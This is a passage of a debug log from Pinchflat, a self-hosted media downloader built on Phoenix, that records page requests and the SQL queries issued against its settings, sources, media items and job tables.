idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 04:53:42.300 [info] GET /sources/30 04:53:42.300 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 04:53:42.300 [debug] QUERY OK source="settings" db=0.3ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.300 [debug] QUERY OK source="sources" db=0.4ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:42.300 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=1.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 04:53:42.301 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.301 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.301 [debug] QUERY OK source="settings" db=0.4ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.301 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.301 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.302 [debug] QUERY OK source="settings" db=0.5ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.303 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 04:53:42.303 [debug] QUERY OK source="sources" db=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.303 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 04:53:42.304 [debug] QUERY OK source="settings" db=0.4ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.304 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.304 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.304 [debug] QUERY OK source="media_items" db=1.2ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 04:53:42.304 [debug] QUERY OK source="settings" db=0.3ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.306 [info] Sent 200 in 7ms 04:53:42.306 [info] GET /sources/31/media/141299 04:53:42.306 [debug] QUERY OK source="media_items" db=1.4ms idle=0.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:42.306 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 04:53:42.306 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:42.306 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 04:53:42.307 [debug] QUERY OK source="tasks" db=0.5ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 04:53:42.307 [debug] QUERY OK source="media_items" db=1.0ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 04:53:42.308 [debug] QUERY OK source="sources" db=0.8ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.308 [debug] QUERY OK source="sources" db=1.2ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.308 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 04:53:42.309 [debug] QUERY OK source="media_items" db=0.6ms idle=0.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 04:53:42.309 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.309 [debug] QUERY OK source="media_items" db=1.6ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:42.309 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.310 [debug] QUERY OK source="sources" db=0.1ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:42.310 [debug] QUERY OK source="media_items" db=1.0ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:42.310 [debug] QUERY OK source="settings" db=0.4ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.310 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 04:53:42.311 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.311 [debug] QUERY OK source="sources" db=0.1ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.311 [debug] QUERY OK source="media_items" db=0.9ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:42.312 [debug] QUERY OK source="media_items" db=1.0ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 04:53:42.312 [info] Sent 200 in 6ms 04:53:42.312 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:42.314 [debug] QUERY OK source="media_items" db=1.3ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 04:53:42.314 [debug] QUERY OK source="media_items" db=2.1ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:42.315 [debug] QUERY OK source="media_items" db=1.0ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:42.316 [info] Sent 200 in 17ms 04:53:42.316 [info] Sent 200 in 16ms 04:53:42.365 [info] GET /sources/31/media/141080 04:53:42.365 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 04:53:42.366 [debug] QUERY OK source="media_items" db=0.1ms idle=53.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 04:53:42.366 [debug] QUERY OK source="tasks" db=0.1ms idle=53.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 04:53:42.366 [debug] QUERY OK source="sources" db=0.1ms idle=51.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.366 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=51.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 04:53:42.367 [debug] QUERY OK source="settings" db=0.0ms idle=51.4ms SELECT s0."id", 